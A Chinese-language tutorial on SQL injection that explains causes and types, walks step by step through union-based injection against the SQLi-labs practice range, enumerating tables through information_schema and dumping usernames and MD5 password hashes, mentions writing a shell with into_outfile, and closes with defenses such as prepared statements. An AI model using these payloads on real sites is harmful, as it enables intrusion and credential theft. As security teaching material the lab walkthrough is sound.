一、SQL注入简介及形成原因

        结构化查询语言(Structured Query Language,简称SQL)是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系型数据库。SQL注入漏洞主要形成的原因是Web应用程序对用户的输入没有做严格的判断,导致用户可用将非法的SQL语句拼接到正常的语句中,被当作SQL语句的一部分执行。

 二、SQL注入分类

        ①按照提交的数据类型有:数字型、字符型和搜索型;

        ②按照提交方式有:GET注入、POST注入、cookie注入、HTTP头注入等;

        ③按照执行效果有:基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入等;

三、SQL注入示例

        这里以MySQL数据库,使用SQLi-labs靶场演示

SQLi-labs靶场:https://github.com/Audi-1/sqli-labs

 判断是否存在注入点

http://192.168.13.100/sqli-labs/Less-1/?id=1'

在id参数后加单引号使其报错,可以发现它是由单引号闭合的 

http://192.168.13.100/sqli-labs/Less-1/?id=1' and 1=1 --+

 使用上面的语句显示正常

http://192.168.13.100/sqli-labs/Less-1/?id=1' and 1=2--+

将 and 1=1 换成 and 1=2 发现访问正常但显示不正常,可以确定存在注入点

判断字段

http://192.168.13.100/sqli-labs/Less-1/?id=1'order by 4 --+

使用上面的语句可以发现报错信息为没有第个字段

http://192.168.13.100/sqli-labs/Less-1/?id=1'order by 3 --+

 将4改为3显示正常,可以确定有3个字段

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

这里在参数前加上-号使后面的1,2,3中操作的部分得以显示出来

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,database(),version() --+

这里我们可以在2和3的位置上添加payload,这里使用database()和version()查看当前数据库和版本

获取security数据库下所有的表名,在MySQL版本>=5.0时MySQL会自带几个数据库其中information_schema数据库存储了所有的数据库名、表名及字段名,我们可以借助这个数据库获取想要的表名及字段名从而获取里面的数据

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

查看当前数据库下的所有表的名称,发现有4个表,接下来我们要查看users表下的字段名

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

我们可以看到users表下有3个字段,接下来要查询username和password

由于该表存储的数据就是一开始显示的无法达到效果,所以下面借助pikachu这个数据库下的users表的内容来展示最后获取的账号和密码信息

http://192.168.13.100/sqli-labs/Less-1/?id=-1' union select 1,username,password from pikachu.users--+

此时账号和密码都爆出来了,密码为MD5加密

成功获取到密码

 

 四、总结

        造成SQL注入的主要原因还是在代码层面,没有对用户的输入进行严格的判断和过滤,从而形成SQL注入漏洞,如果条件得当,我们可以直接使用 into_outfile进行写shell;

        防御方式:①为网站添加WAF,虽然WAF不能修复SQL注入漏洞,但是可以拦截敏感数   据以防止SQL注入黑客利用。②在服务器端添加过滤代码将可能引发SQL注入的敏感字符过滤或者转义;③使用SQL预编译。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐